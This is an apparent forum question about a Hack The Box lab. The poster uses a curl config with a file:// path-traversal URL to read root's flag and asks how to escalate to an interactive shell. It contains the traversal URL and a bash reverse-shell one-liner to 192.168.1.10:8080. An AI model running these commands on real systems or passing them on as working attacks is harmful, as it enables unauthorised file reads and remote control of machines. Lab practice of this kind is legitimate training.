So I'm doing a HTB challenge where I have leveraged the targets box use of reading a file that sets a url for
curl in order to transverse down the directory and display the root flag in a report that is part of the exercise.
url = file:///127.0.0.1/../../../root/root.txt
What I want to do is further leverage this to somehow spawn a shell by reading
/bin/bash. I can read garbled version of
/bin/bash in the report file but I cant figure how to execute it in a way that will give me an interactive shell.
What can I do in in order to achieve this?
I can create a reverse shell from my current user using bash and the below command, just cant get it to execute as I'd like from 'within' curl.
bash -i >& /dev/tcp/192.168.1.10/8080 0>&1